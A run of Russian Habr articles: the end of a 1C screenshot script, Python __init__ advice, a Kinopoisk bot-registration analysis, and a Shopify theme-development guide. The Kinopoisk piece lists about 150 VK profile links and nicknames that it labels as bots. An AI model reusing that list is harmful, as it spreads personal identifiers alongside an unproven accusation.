СделатьСкриншот(ИмяПапкиСОбработками+"\"+ИмяБазы+"\"+ТекФайл.Имя+"\"+ТекФайл1.Имя+".epf",ИмяБазы,ТекФайл.Имя,ТекФайл1.ИмяБезРасширения);
КонецЕсли;
КонецЦикла;
КонецЕсли;
КонецЕсли;
КонецЦикла;
КонецПроцедуры
&НаКлиенте
Процедура ПолучитьСписокОтчетов()
НайденныеФайлы = НайтиФайлы(ИмяПапкиССкриншотами+"\"+ИмяБазы, "*.*",Истина);
Для н=0 по НайденныеФайлы.Количество()-1 Цикл
ТекФайл=НайденныеФайлы.Получить(н);
Если ТекФайл.ЭтоКаталог()=Истина Тогда
Если Прав(ТекФайл.Путь,1+СтрДлина(ИмяБазы))=ИмяБазы+"\" Тогда
НайденныеФайлы1 = НайтиФайлы(ИмяПапкиССкриншотами+"\"+ИмяБазы+"\"+ТекФайл.Имя, "*.*",Ложь);
Если НайденныеФайлы1.Количество()<>0 Тогда
Для н1=0 по НайденныеФайлы1.Количество()-1 Цикл
ТекФайл1=НайденныеФайлы1.Получить(н1);
НайденныеФайлы2 = НайтиФайлы(ИмяПапкиССкриншотами+"\"+ИмяБазы+"\"+ТекФайл.Имя, ТекФайл1.Имя+".jpg",Ложь);
Если НайденныеФайлы2.Количество()=0 Тогда
СделатьСкриншот(ИмяПапкиСОбработками+"\"+ИмяБазы+"\"+ТекФайл.Имя+"\"+ТекФайл1.Имя+".erf",ИмяБазы,ТекФайл.Имя,ТекФайл1.ИмяБезРасширения);
КонецЕсли;
КонецЦикла;
КонецЕсли;
КонецЕсли;
КонецЦикла;
КонецПроцедуры
```
Вы спросите как я до «такого» докатился?
----------------------------------------
Ответ приходит (если немного покопаться в памяти с психологом):— 17 лет назад я «работал» в дружном коллективе компании «Дистар Электроникс» (г.Пермь) программистом. Работой я это назвать никак не могу (первый опыт работы программистом).Всех ребят я помню и вспоминаю со слезами, как я по ним скучаю. К сожалению никак не получается найти координаты разработчика программы 1С: Предприятие 7.7 (именно он дал мне почитать исходный код одной из библиотек DLL — запретный плод).С уважением | https://habr.com/ru/post/357698/ | null | ru | null |
# 6 рекомендаций по определению метода __init__
Основным краеугольным камнем Python как объектно-ориентированного языка программирования является определение связанных классов для управления и обработки данных. Когда мы создаем класс, первым методом, который определяем является метод инициализации `__init__`. Если вы примените следующие рекомендации, то тот, кто будет читать ваш код, лучше поймет механику работы всех объектов экземпляра класса. В этой статье я хочу рассказать вам о рекомендациях по определению метода `__init__`*.*
### 1. Располагайте его в верхней части класса
Для большинства из нас эта рекомендация прозвучит очевидно, но я видел, как люди прячут его глубоко в теле класса вместе с другими атрибутами. Важно поместить его в самом начале, перед любыми другими методами. Именно здесь те, кто будут читать код, должны искать `__init__`*.* Если у вас есть атрибуты, то метод `__init__` следует поместить после них. Следовать этому правилу нужно для всех классов, которые вы пишете в своем проекте, чтобы читающие не путались.
### 2. Называйте первый параметр self
Прежде всего, вы должны понимать, за что отвечает первый параметр. Он относится к объекту экземпляра, который вызывает метод `__init__`*.* Возможно, вы слышали термин «инстанцирование», однако метод `__init__` сам по себе не эквивалентен ему. Как следует из названия, `__init__` означает инициализацию, которая отвечает за процесс установки начального состояния созданного экземпляра класса. Есть соглашение, согласно которому первый параметр должен называться `self`, хотя это и не обязательно. Отмечу, что `self` – это не ключевое слово в Python, в отличие от многих других языков, где используется `this`*,* `self` или `it`. Они являются зарезервированными ключевыми словами для ссылки на текущий вызываемый экземпляр.
### 3. Задайте все атрибуты экземпляра
Python не ограничивает вас в месте определения атрибутов экземпляра класса. Однако это не значит, что вы можете писать их где угодно. Рассмотрим следующий пример:
```
class Student:
def __init__(self, name):
self.name = name
def verify_registration(self):
self.registered = True
def get_guardian_name(self):
self.guardian = "Someone"
```
Как показано выше, мы можем создать экземпляр класса `Student`, инициализировав его имя. Затем мы можем вызвать `verify_registration`, чтобы получить статус регистрации и `get_guardian_name`, чтобы получить информацию об опекуне учащегося. Однако так делать нежелательно, поскольку те, кто будут читать ваш код, не будут уверены в том, какие атрибуты есть у экземпляра. Вместо этого лучше поместить все атрибуты в `__init__`, чтобы читатели точно знали, какие атрибуты есть у экземпляров. В следующей реализации шаблон гораздо лучше:
```
class Student:
def __init__(self, name):
self.name = name
self.registered = False
self.guardian = None
```
### 4. Старайтесь не использовать \*\*kwargs
В Python *\*\*kwargs* используется для указания различного числа именованных параметров в определениях функций. Таким образом синтаксически правильнее включать *\*\*kwargs* в `__init__`. Конечно, существуют обстоятельства, при которых использовать *\*\*kwargs* в `__init__` допустимо, но в большинстве случаев это не нужно, поскольку так вы маскируете необходимые параметры для инициализации экземпляров.Предполагаю, что одним из основных оправданий использования *\*\*kwargs* является «чистота» `__init__`*.* Однако я считаю, что явное всегда лучше, чем неявное. Несмотря на то, что перечисление всех параметров в заголовке метода `__init__` может показаться громоздким, мы четко даем понять, какие параметры пользователю необходимо указать при создании экземпляров класса.
### 5. Устанавливайте правильные значения по умолчанию
Если вы знаете, какие начальные значения должны быть у определенных атрибутов, вы можете указать их в заголовке `__init__`, чтобы пользователи не задавали эти параметры при создании экземпляров. В качестве альтернативы, если определенные значения применимы к большинству сценариев создания экземпляров, вы также можете задать эти параметры. Например:
```
class Student:
def __init__(self, name, bus_rider=True):
self.name = name
self.bus_rider = bus_rider
```
Однако следует отметить, что, если параметр – это изменяемая структура данных, вам придется выбрать другой путь. Вот плохой пример:
```
class Student:
def __init__(self, name, subjects=["maths", "physics"]):
self.name = name
self.subjects = subjects
```
Проблема в том, что, если вы указываете *[“maths”, “physics”]* как значение по умолчанию, этот список будет создан в определении функции и его же будут использовать все экземпляры. Вот как выглядит эта проблема:
```
>>> student0 = Student("John")
>>> student0.subjects.append("music")
>>> student0.subjects
['maths', 'physics', 'music']
>>> student1 = Student("Ashley")
>>> student1.subjects
['maths', 'physics', 'music']
```
### Документация
Как и в случае с другими методами, у `__init__` тоже должна быть документация. Несмотря на то, что некоторым людям не нравится документировать информацию об архитектуре на уровне класса (то есть помещать информацию об инициализации под заголовком класса), все же рекомендуется размещать документацию прямо под методом `__init__`. Для каждого параметра вы указываете его тип – будь то `str` или `int`. Исходя из этого, вы даете краткое описание того, что этот параметр из себя представляет и что он делает. Если есть значение по умолчание, расскажите о нем сопроводив доступным пояснением.
### Заключение
Вот так выглядит список рекомендаций, которым я следую при определении метода `__init__` для классов в Python. Лично я нахожу их полезными для поддержания читаемости кода. Если вам есть, что добавить, расскажите об этом в комментариях. Спасибо, что прочитали.
---
> Материал подготовлен в рамках курса [«Python Developer. Basic»](https://otus.pw/flei/).
>
> Всех желающих приглашаем на онлайн-интенсив [«Мобильное приложение для автоматических рассылок с использованием Kivy Framework»](https://otus.pw/exVD/). За 2 дня интенсива мы создадим мобильное приложение (с использованием Kivy Framework) для планирования автоматических рассылок почтовых сообщений.
>
> → [**РЕГИСТРАЦИЯ**](https://otus.pw/exVD/)
>
> | https://habr.com/ru/post/572868/ | null | ru | null |
# Поищем ещё раз «своё» кино на Кинопоиске
По дороге с работы вспомнил про один замечательный математический метод и решил подробнее рассмотреть этапы развития кинопоиска и узнать чего же больше всего ждут киноботы в этом году.
Мне было почти очевидно, что при регистрации Кинопоиск даёт пользователям ID по порядку. Свежие пользователи имеют номер немного меньше 15 000 000. Столько страничек пользователей сайт мне скачать не разрешит. Ну тогда можно попробовать подёргать странички в случайном порядке и посмотреть на случайных пользователей.
Довольно интересный параметр, это дата регистрации.
**Немного китайского кода скажут нам число дней с 1 января 0000 года до регистрации**
```
function [ DateNumber ] = find_datenumber( date_reg )
m(1).m = strfind(date_reg,'января');
m(2).m = strfind(date_reg,'февраля');
m(3).m = strfind(date_reg,'марта');
m(4).m = strfind(date_reg,'апреля');
m(5).m = strfind(date_reg,'мая');
m(6).m = strfind(date_reg,'июня');
m(7).m = strfind(date_reg,'июля');
m(8).m = strfind(date_reg,'августа');
m(9).m = strfind(date_reg,'сентября');
m(10).m = strfind(date_reg,'октября');
m(11).m = strfind(date_reg,'ноября');
m(12).m = strfind(date_reg,'декабря');
for jj = 1:12
if ~isempty(m(jj).m)
month = jj;
end
m(jj).m=[];
end
year = str2num(date_reg(end-3:end));
day = str2num(date_reg(1:2));
DateNumber = datenum(year,month,day);
end
```
И вот мы можем видеть, с какой скоростью росло число пользователей КП:
Тут уже различимы несколько изломов скорости роста числа пользователей и кавардак с двумя сайтами и общим их объединением в рамках проекта Кинопоиск 2.0.
И конечно же какая-то непонятка осенью 2017, на которую можно посмотреть поближе:
Так получилось, что за 4 недели начиная с 18 августа зарегистрировалось примерно на 160000 пользователей больше, сверх ожидаемого…
Получается сотрудники Кинопоиска признали взлом 50000 аккаунтов и скромно промолчали про 160000 ботов.
Давайте соберём чуть больше случайных страничек из этого диапазона дат. У меня получилось быстренько скачать 3097 странички. Исследуя страничку пользователя на предмет строк
```
'premier_rus/vt/all/#list'
```
узнаём, кто сколько фильмов ждёт.
Мне интересно посмотреть на тех кто ждёт ровно один фильм, а таких оказалось 179 (5,78%).
Попробуем скачать их странички ожиданий и выясним, какие новинки они ожидают увидеть.
Получилось, что аж 162 из них (90,5%) ждут [фильм номер 1007496](https://www.kinopoisk.ru/film/tankisty-2017-1007496/) у которого на момент написания статьи положительных 99% ожиданий из 11926 голосов.
Но давайте вернёмся к числу пользователей за этот подозрительный месяц (214442), посмотрим, сколько будет 214442\*0,905\*0,0578 = 11217.
Как думаете, нужно ли считать доверительный интервал к этой оценке или и так похоже на правду?
**UPD1:** 100% найденных ждунов имеют стандартные для ботов ники…
**суммарное число голосов / vk / ник на КП**13 'http://vk.com/dankoy\_bugaga' 'DanilPavlov722'
9 'http://vk.com/fghvcb' 'AntonTishko10375'
5 'http://vk.com/id92102535' 'AnnaBeliantseva67'
5 'http://vk.com/evstafeeva\_nadezhda' 'NadezhdaEvstafeeva1239'
6 'http://vk.com/id136915044' 'AzimutTumiza44'
9 'http://vk.com/id298795529' 'RoxanaRoxi4094'
5 'http://vk.com/id15340078' 'IvanPuskov56'
4 'http://vk.com/id327281250' 'AzemUrkunova267'
6 'http://vk.com/danilmerkulov2002' 'DanilMerkulov516'
21 'http://vk.com/id87308547' 'IanaSashchikova40885'
11 'http://vk.com/id224786646' 'OlesyaHamlova22'
12 'http://vk.com/id411721270' 'AleksandrZatonskikh171'
9 'http://vk.com/id91594838' 'VladimirIsakov95247'
13 'http://vk.com/diedinchi' 'DianaMalovana1318'
4 'http://vk.com/id199968256' 'IlonaMaikova33326'
5 'http://vk.com/id297277507' 'VasilinaBuchinska15'
13 'http://vk.com/id357904487' 'NatellaKulumbegova74'
8 'http://vk.com/id270147883' 'AsemaKali32808'
4 'http://vk.com/id219192962' 'AnzhelaDobrich17'
9 'http://vk.com/id360592783' 'DianaBuraz53265'
7 'http://vk.com/id409453355' 'SashaMorozova668'
7 'http://vk.com/id426353122' 'AnfisaMinullinaVedernikova21'
7 'http://vk.com/id184303431' 'KsiushaSazonova5915'
10 'http://vk.com/id362670598' 'VgmcvgVsg7076'
5 'http://vk.com/id432576407' 'DenisPletnev00321'
17 'http://vk.com/id146778592' 'NastasiaAkhshimina9609'
10 'http://vk.com/id98661577' 'MustafaKhamkhoev6556'
5 'http://vk.com/supergirl033' 'KristinaProts19610'
5 'http://vk.com/id209579410' 'OlenkaSorokoum810'
8 'http://vk.com/id320134441' 'KseniiaAleksandrovna80568'
13 'http://vk.com/id409174975' 'ViacheslavGoriushkin10'
5 'http://vk.com/id296174528' 'AdiletKaliolla31'
11 'http://vk.com/id368023349' 'VetpomoshchSpb72'
4 'http://vk.com/id260500982' 'NastiushkaModniushka70'
5 'http://vk.com/yarikonoshko' 'IarikOnoshko55'
11 'http://vk.com/id10372681' 'ArtemEremin6676'
23 'http://vk.com/id2850209' 'IuliiaFedorova26519'
11 'http://vk.com/id321456888' 'AniaShutenko98'
5 'http://vk.com/id403260744' 'LiubaKuznets32846'
6 'http://vk.com/id341002444' 'UrolQuldoshev743'
6 'http://vk.com/alone\_one\_love' 'ZabarShlepin91583'
3 'http://vk.com/id255215040' 'KoralinaDzhons08'
5 'http://vk.com/id347786628' 'KarinaTeteriuk61647'
23 'http://vk.com/id154753513' 'VladimirKniazev512'
12 'http://vk.com/id279753801' 'MarinaBoikova29'
9 'http://vk.com/id144185226' 'AgshinAliyev1954'
16 'http://vk.com/id336034640' 'IraGutsuliak079'
12 'http://vk.com/id425039331' 'SalamatZhalelov32'
4 'http://vk.com/id52080529' 'DeniskoTilahyn39901'
7 'http://vk.com/sasha\_pupsik' 'AleksandrBorkin981'
10 'http://vk.com/id382813402' 'DenisKorablev2342'
3 'http://vk.com/id248919198' 'TaimasIbragimov3479'
11 'http://vk.com/id170829799' 'IliaChetverikov10'
5 'http://vk.com/id241059224' 'AgataLeonova15871'
6 'http://vk.com/id103892275' 'MaksimIurev3144'
6 'http://vk.com/id413628460' 'FearNesferia022'
6 'http://vk.com/id277916944' 'TimurGabdulkhaev4324'
7 'http://vk.com/id155455691' 'EkaterinaVasileva2758'
10 'http://vk.com/id393292416' 'KseniiaPriazhnikova79'
8 'http://vk.com/dorogalka' 'GalinaTerekhina00'
15 'http://vk.com/id308408675' 'RustamBagautdinov972'
9 'http://vk.com/id132890908' 'AntoninaPupkova99258'
4 'http://vk.com/id428414207' 'BogdanVeisman928'
7 'http://vk.com/id389279486' 'KatiaKhudiakova989'
8 'http://vk.com/annagorsch' 'AnnaGorshkova7511'
5 'http://vk.com/id432252923' 'UmutbekSulaimanov07'
10 'http://vk.com/id1714477' 'BossNeferson21'
20 'http://vk.com/id408492500' 'ntonksenov456'
5 'http://vk.com/lorenso14' 'DanilaBeloumov30948'
5 'http://vk.com/id34492157' 'FanilFatkullin75'
11 'http://vk.com/elana200' 'ElanaShiribazarova42865'
7 'http://vk.com/id295622045' 'AkbotaSerikbai544'
5 'http://vk.com/id312242487' 'LeshaSoklakov15'
6 'http://vk.com/id266713212' 'EgorAndrianov03549'
11 'http://vk.com/id8947894' 'AntonNipein6321'
6 'http://vk.com/id276739161' 'IuliiaIvchenko64031'
12 'http://vk.com/id134810319' 'IgorSlavnov28'
14 'http://vk.com/id293715354' 'ZulfanGimazov573'
9 'http://vk.com/anyakot98' 'AniaKotova81'
10 'http://vk.com/id244403198' 'SnezhanaPasechnik443'
10 'http://vk.com/id6578666' 'ElenaPankratova007'
9 'http://vk.com/id438789606' 'DariaEgorova42534'
19 'http://vk.com/id4173316' 'SergeiFilippenko68'
4 'http://vk.com/id123783560' 'MashaVinarchik9170'
9 'http://vk.com/aprosina2000' 'IrinaAprosina10072'
12 'http://vk.com/raniyasr' 'RaniiaZakirova82449'
7 'http://vk.com/idteresa1301' 'TeresaMisak96931'
5 'http://vk.com/gajer' 'ValeriiKushmanov34'
7 'http://vk.com/id408015363' 'DarinaDorofeeva57'
5 'http://vk.com/id279218888' 'EvgeniiValerevich932'
11 'http://vk.com/id160976473' 'SoldatSkorbi1820'
9 'http://vk.com/id193861854' 'lliaBoiko7708'
5 'http://vk.com/id157771403' 'AleksandraIvanova098'
8 'http://vk.com/zorigoo' 'ZorigooGanbaatar962'
5 'http://vk.com/id336232098' 'ElenaKursk5413'
4 'http://vk.com/id407474324' 'StepanTarasenko95334'
9 'http://vk.com/id300917725' 'AlekaAkmetaeva9640'
6 'http://vk.com/id438610962' 'KsiushKsiushKsiusha340'
12 'http://vk.com/id139865078' 'AkhmatKachmazov8465'
4 'http://vk.com/id266669339' 'VaniaRudskoi22622'
7 'http://vk.com/id75822863' 'KaterinaRiabova71'
4 'http://vk.com/id252707102' 'SlenderMen2285'
7 'http://vk.com/id202337151' 'EgorBelov95'
10 'http://vk.com/id440746870' 'AnatoliySolomigin376'
5 'http://vk.com/id319820233' 'VeronikaGlazkova168'
5 'http://vk.com/id285952817' 'AnzhelaZarudneva41'
5 'http://vk.com/id68063370' 'IgorAkoltsev62732'
14 'http://vk.com/id20759319' 'IakovOchinskii2230'
4 'http://vk.com/id381163258' 'OdkoOyuka5996'
4 'http://vk.com/id223833044' 'DimHarit101'
8 'http://vk.com/id403523323' 'ShedouFazber74'
10 'http://vk.com/id277988982' 'ChristinaPopovits539'
8 'http://vk.com/leonidermolin' 'LeonidErmolin40'
5 'http://vk.com/id329473664' 'NadiaKalashnikova4574'
8 'http://vk.com/tiptoptolik' 'AnatoliiTrofimets7838'
6 'http://vk.com/id304121001' 'DzhekKloun19'
7 'http://vk.com/c.rustamzade' 'CemilRustamzade8249'
5 'http://vk.com/id362268438' 'TfifhaHamza49565'
5 'http://vk.com/id373748452' 'LenaNikitina297'
5 'http://vk.com/id258381745' 'EgorEgorov7001'
13 'http://vk.com/id258760596' 'YoucefMaximos88'
5 'http://vk.com/safinirek' 'IrekSafin6041'
9 'http://vk.com/id317866492' 'KaukenZhumagulov730'
5 'http://vk.com/id375479913' 'MartinMartin01'
5 'http://vk.com/id333303631' 'SholpanAiymbetova4152'
10 'http://vk.com/mama.lena1' 'ElenaGerasimova74120'
5 'http://vk.com/id138376268' 'TimurGabbasov767'
16 'http://vk.com/id379838474' 'SaidBaratov4747'
5 'http://vk.com/karty\_mafia' 'Andreieplyshov71'
8 'http://vk.com/xaker0797' 'SergeiZviagintsev250'
5 'http://vk.com/id321528834' 'SofiiaLazutkina1439'
6 'http://vk.com/v.eliseev94' 'VladimirEliseev01'
5 'http://vk.com/id29527564' 'OliaFedchak785'
4 'http://vk.com/i\_smail2810' 'KatiushkaShigurova610'
15 'http://vk.com/id188764154' 'NataliaMilova42'
14 'http://vk.com/id112591277' 'AlekseiTuranov33276'
6 'http://vk.com/id275981606' 'SiuzannaAbramova0396'
11 'http://vk.com/id342286734' 'IuliaIvanova44442'
17 'http://vk.com/id357289842' 'AleksandrKonovalov48'
14 'http://vk.com/lozinskaya15' 'LeraLozinskaia971'
11 'http://vk.com/id329494983' 'MaksimSamsonov0617'
12 'http://vk.com/id378525128' 'AnnaLevdikova38'
5 'http://vk.com/id95818856' 'IgorKolosov494'
5 'http://vk.com/id397178740' 'ElizavetaKhamitova16'
13 'http://vk.com/id225280468' 'AlinochkaUvarova23505'
12 'http://vk.com/nadiamoroz' 'NadiaMoroz990'
7 'http://vk.com/id146236226' 'DmitriiKlimentov71333'
13 'http://vk.com/id286664093' 'AlexNunutzz92243'
9 'http://vk.com/id231720520' 'SalmanAli2459'
3 'http://vk.com/i374800096' 'KeshaDobrykh82'
5 'http://vk.com/e\_v\_a95' 'EkaterinaArs932'
6 'http://vk.com/id86915980' 'NevrikaIlinishna365'
7 'http://vk.com/id421515116' 'MaksimKharlamov525'
5 'http://vk.com/id336172444' 'AndreiSergeev76441'
13 'http://vk.com/id226862362' 'VitalikPilipenko245' | https://habr.com/ru/post/407119/ | null | ru | null |
# Полный Гайд по Shopify
Всем привет! В этой статье я постарался посмотреть на Shopify со стороны разработчика и обычного пользователя, рассказал свой опыт и наблюдения при работе на разных темах. Если вы еще не знакомы с Шопифаем, то я также постараюсь донести основную информацию, которую вам нужно знать чтобы работать с темами и разрабатывать магазины на Шопифай. Еще можно писать плагины для Шопифай магазинов, но я этим не занимался, поэтому в данной статье будет информация про разработку тем.
### Что такое Шопифай?
Шопифай это платформа на которой вы можете открыть магазин, если вам есть что продавать, а если вы разработчик вы можете разрабатывать темы или плагины. В Шопифае главная ценность это тема, ведь тема и является магазином, по сути. Поэтому выбор темы - очень важный шаг при открытии магазина.
#### Популярность Шопифая в России
Шопифай в России не очень популярен, это, скорее всего, обусловлено высокими ценами за тарифы + в связи с текущей ситуацией Шопифай приостановил работу в России (на разработку тем это не повлияло). Чтобы открыть свой магазин на Шопифай, вам нужно [выбрать соответствующий тариф](https://www.shopify.ca/pricing). Изначально при открытии магазина вам дадут 14 дней пробного периода. За это время вы можете понять нравится вам платформа или нет. После пробного периода вам будет предложено оплатить тариф и продолжить заполнение магазина.
Для разработчиков тарифов нет, главное указать, что вы используете магазин в качестве разработки. Для простоты работы рекомендую [создать партнерский аккаунт](https://www.shopify.com/partners). Партнерский аккаунт позволит вам видеть доступ ко всем магазинам, который есть у вашего аккаунта. Удобно когда вы кому-то помогаете с магазином или создаете магазин для заказчика на фрилансе.
Как видите у меня только один магазин и у него стоит тип **Development**. Это означает, что он используется для разработки. Еще как партнер вы сможете тестировать функции, которые еще не вышли. Как я и сделал, под **Development** написано **Shopify Markets preview**, я активировал эту функцию чтобы потестить. Когда вы тестируете какие-то не вышедшие функции у вас есть ограничения. На этот магазин тоже наложили ограничение, вот такая желтая плашка внизу страницы, которая везде меня преследует и напоминает о себе.
В ней говорится, что *"функция передачи магазина отключена, что означает, что этот магазин не может быть передан торговцам или изменены планы"*. Но мне все-равно, потому-что я открыл этот магазин для практики навыков. Поэтому если вы преследуете цели научиться или посмотреть на новые фишки, можете спокойно игнорировать подобные сообщения.
#### Отсутствие русского интерфейса
В Шопифае нет русского языка для интерфейса, [ссылка](https://help.shopify.com/en/manual/your-account/languages) с официального сайта о всех возможных языках для аккаунта на данный момент. Поэтому все шаги, чтобы что-то открыть в этой статье будут на английском языке.
Зато в Шопифай есть русский язык для магазина. Главное не путать язык аккаунта с языком магазина.
#### Мультиязычность магазина
Вы можете перевести свой магазин на все популярные языки (не все темы поддерживают мультиязычность). Выберите тему на которой хотите поменять язык, после этого нажмите на кнопку **Actions -> Edit languages**. Вы попадете на страницу на которой вы сможете поменять язык темы или поменять написание какого-либо слова или предложения.
**Важный момент:** не все темы поддерживают несколько языков, прежде чем купить какую-либо тему, узнайте поддержку мультиязычности (если она вам нужна). К слову о темах, все темы от Shopify поддерживают мультиязычность.
#### Как выбрать тему?
Если вы решили купить тему где-либо, кроме официальных платных тем Шопифая, то будьте аккуратны, часто они продаются с ошибками кода, с отсутствием заявленных функций, ошибками в словах и прочими неприятными моментами. Из плюсов могу отметить поддержку после покупки, но и то не все саппорты отвечают быстро или выполняют работу качественно. В общем покупка, как их называют в Шопифае *"third party themes"*, рискованный шаг. А если вы разработчик, можете спокойно выбирать тему Dawn и на ней тренироваться. Я поработал на нескольких платных темах и могу сказать, что Dawn - лучшая тема в которой я работал на данный момент.
### Первые шаги в Шопифай
Первым делом [заведите аккаунт в Shopify](https://accounts.shopify.com/signup?rid=507621a5-a384-498f-bb22-d0bd3da17e27), если у вас его еще нет. Следующим шагом перейдите в админ панель вашего магазина, для этого после ссылки на ваш магазин поставьте слэш и введите admin. Выглядит вот так:
```
https://yourstoreurl.myshopify.com/admin
```
После того как вы попали в админ панель, опубликуйте тему, скорее всего, там будет тема Dawn:
Еще неплохой практикой будет пройти специальные гайды от Шопифая. Они проведут вас по всему, что нужно сделать чтобы ваш магазин заработал и его увидел весь мир, начиная от добавления продуктов и до настройки платежных систем. Находятся в правом верхнем углу, прямо возле вашего профиля:
#### Основные настройки магазина
Прежде чем продавать товары в вашем магазине, нужно его настроить. Настройки находятся в левом нижнем углу.
Как только вы попадаете в настройки, перед вами открывается большое количество всевозможных пунктов, которые вы можете настроить под свой магазин. На первой вкладке находятся общие настройки вашего магазина, такие как компания, сфера магазина, адрес, контактная информация, валюта и тд. Подробно разбирать каждый пункт я не буду, давайте перейдем к основному, что может вызвать затруднение, когда вы только открываете магазин.
Перейдите в пункт **Checkout** и подробно изучите его, ведь в нем находится информация касательно оформления заказа в вашем магазине. Почему это так важно? Когда вы покупаете тему или используете бесплатную тему, данный пункт не является очевидным и скорее всего вы зададитесь вопросом: *"Почему у меня нет иконки человечка в хэдере?"* Ведь во многих темах иконка человечка (личный кабинет) завязан на этой настройке. Самый первый пункт в этой настройке как раз предлагает вам выбрать один из трех пунктов касательно личного кабинета пользователя в вашем магазине:
1. Don't use accounts
Покупателю не нужно создавать аккаунт, чтобы купить товар в вашем магазине.
2. Accounts are optional
Покупатель может создать аккаунт, чтобы купить товар в вашем магазине, но это не обязательно.
3. Accounts are required
Для того чтобы купить у вас товар, покупателю нужно будет создать аккаунт.
Когда я только начинал изучать Shopify меня подловила эта настройка и я потратил какое-то количество времени, прежде чем понял, что она связана с иконкой на сайте. Рекомендую ознакомиться со следующими настройками тоже. А мы переходим дальше.
Все что ниже этой строки предназначено для разработчиковНо если вы заинтересованы, то приятного чтения
После того как вы настроили свой магазин, хорошо бы иметь связанную тему с гитхаб репозиторием.
### Как связать Шопифай тему с Гитхаб репозиторием?
После того как вы настроили магазин (или пропустили этот пункт) самое время разобраться с подключением темой через Гитхаб. Это удобная фишка, которая позволяет вам следить за изменениями в файлах вашей темы, а еще самое крутое это то, что когда вы делаете какое-либо изменение в кастомайзере, она автоматически пушится в ваш репозиторий на гитхабе. Все что нужно сделать это при публикации темы выбрать пункт **Connect from GitHub:**
Если у вас уже подключен гитхаб аккаунт к вашему партнерскому аккаунту, то вам будет предложено выбрать репозиторий в котором находится ваша тема.
Поздравляю! Вы освоили навык подключения темы из гитхаб репозитория. Следующий шаг - научиться быстро работать с кодом темы, ведь в стандартном редакторе кода нет эммета и прочих приколюх к которым мы все так привыкли. Теперь давайте посмотрим на редактор кода.
Для того чтобы перейти в редактор кода выберете нужную вам тему, нажмите на **Actions -> Edit code**. Перед вами откроется вот такая страница:
Слева находятся папки с файлами. Каждая папка хранит определенный тип файлов.
Папки и файлы в Shopify
-----------------------
Папка **Layout** предназначена для файла темы, который называется `theme.liquid`. Этот файл нужен для того чтобы подключать css, javascript, дополнительный функционал к сайту. Также он хранит футер и хэдер магазина. Еще в этой папке может лежать файл `password.liquid`. Я в него никогда не заходил, поэтому не скажу вам ничего про него.
Следующая папка **Templates.** Она нужна для создания шаблонов страниц, таких как: продуктов, 404, корзины, коллекций, блога, поиска, личного кабинета пользователя. Вы можете создать разные шаблоны одного медиа контента. Например, вы можете создать несколько шаблонов страницы продуктов. Для того чтобы применить шаблон, перейдите на страницу продукта и в правом сайдбаре во вкладке **Theme template** выберите созданный вами шаблон.
Дальше идет папка **Sections**. Она нужна для создания секций. Секции - главный компонент при создании магазина, ведь в них содержится весь контент сайта.
Папка **Snippets** нужна для создания сниппетов. Сниппет - это файл, который может быть вызван в любом месте на сайте. Для того чтобы его вызвать, введите следующую строчку кода в место, куда вы хотите вставить сниппет.
```
{% render 'snippet-name' %}
```
Папка **Assets** хранит в себе все стили и скрипты.
Папка **Config** нужна для конфигурации магазина. Особой нужды что-то менять в нем нет, он создается автоматически в зависимости от ваших изменений в теме.
Папка **Locales** хранит переводы магазина на разные языки. По стандарту выбран Английский язык. В теме Dawn есть переводы магазина на другие языки, в вашей теме может и не быть, проверяйте! Вы можете переводить магазин как и в файле, так и на специальной странице про которую я говорил в начале статьи.
Вот так выглядит перевод магазина в файлеКак вы уже, скорее всего, заметили, тема редактора кода - светлая. Я долгое время работал на ней и только потом открыл для себя лайфхак. Делюсь с вами.
Как поменять светлую тему в Shopify?
------------------------------------
Чтобы поменять тему редактора кода на тёмную, нажмите на квадратик со стрелочкой в правом верхнем углу.
После этого окно расширится и в правом нижнем углу вы увидите две кнопки: Light и Dark. Нажимаем на Dark и мы получаем заветную тёмную тему.
Единственный минус, что периодически при открытии большого количества файлов Шопифай редактор кода ломается и нужно перезагружать страницу, а при перезагрузки тёмная тема слетает и придется снова её включать.
*Воспроизвести поломку редактора кода у меня не получилось. Возможно это из-за того, что мой компьютер на котором я сейчас пишу эту статью с последней версией ОС и мощнее, чем тот на котором у меня постоянно возникает такая проблема. Но я честно старался, открыл около 63 файлов.*
Возможно вы задались вопросом: *"А можно ли кастомизировать Shopify темы или писать темы с нуля при помощи редактора кода?"* Допустим используя VS Code. И я отвечу, что да, можно.
### Что такое Shopify CLI?
[Shopify CLI](https://shopify.dev/themes/tools/cli) - интерфейс командной строки, который позволяет вам разрабатывать Шопифай темы и плагины. Он быстро генерирует Node.js, Ruby on Rails и приложения PHP, расширения приложений, Shopify Scripts (бета) и темы Shopify. Вы также можете использовать его для автоматизации многих общих задач разработки. Вы сможете одной командой добавить несколько продуктов в ваш магазин, придется только опубликовать их и загрузить изображения.
#### Как установить Shopify CLI?
Прежде чем перейти к установке Shopify CLI, сделайте следующее:
1. [Установите Ruby](https://www.ruby-lang.org/en/downloads/)
2. [Установите Git](https://git-scm.com/downloads)
3. [Создайте партнерский аккаунт](https://partners.shopify.com/signup?shpxid=552d19a6-81E9-4978-0816-C8011D326AEC) (если его еще нет).
**Установка на macOS (Homebrew)**
```
brew tap shopify/shopify
brew install shopify-cli
```
**Установка на Windows (RubyGems.org)**
```
gem install shopify-cli
```
Проверка версии Shopify CLI
```
shopify version
```
Если у вас все успешно установилось, вам покажет текущую версию Shopify CLI на вашем компьютере:
Вы также можете писать команды в Терминале Visual Studio Code, разницы нет.
**Аутентификация**
Используйте команду `shopify login` чтобы подключиться к магазину с которым вы хотите работать. Например:
```
shopify login --store myers.myshopify.com
```
`--store` обязательный элемент в данной команде, без него вы не подключитесь к магазину.
Прежде чем мы перейдем к VS Code я расскажу об одном моменте. Если вы являетесь владельцем партнерского аккаунта и захотите подключиться к магазину с этой почты, то Шопифай CLI выдаст ошибку в которой говорится о недостаточных правах.
Поэтому я добавил свою вторую почту в команду в партнерском аккаунте. Теперь при подключении в магазин у меня появилась организация. Значит все сделано верно.
Получение файлов магазина в локальную папку на ПК
-------------------------------------------------
Давайте откроем пустую папку и попробуем стянуть файлы из Шопифай в нашу папку. Для этого используем команду:
```
shopify theme pull
```
У вас спросят с какой темы скачать файлы. Выбираем нужную тему.
В зависимости от количества файлов нужно будет подождать какое-то количество времени. После успешного выполнения команды вы увидите соответствующее сообщение и ваши файлы в папке.
Поздравляю! Теперь вы научились стягивать файлы темы в локальную папку. Еще чуть-чуть и станете Shopify экспертами. Теперь давайте попробуем выполнить пару полезных комманд. Первая из них:
```
shopify theme serve
```
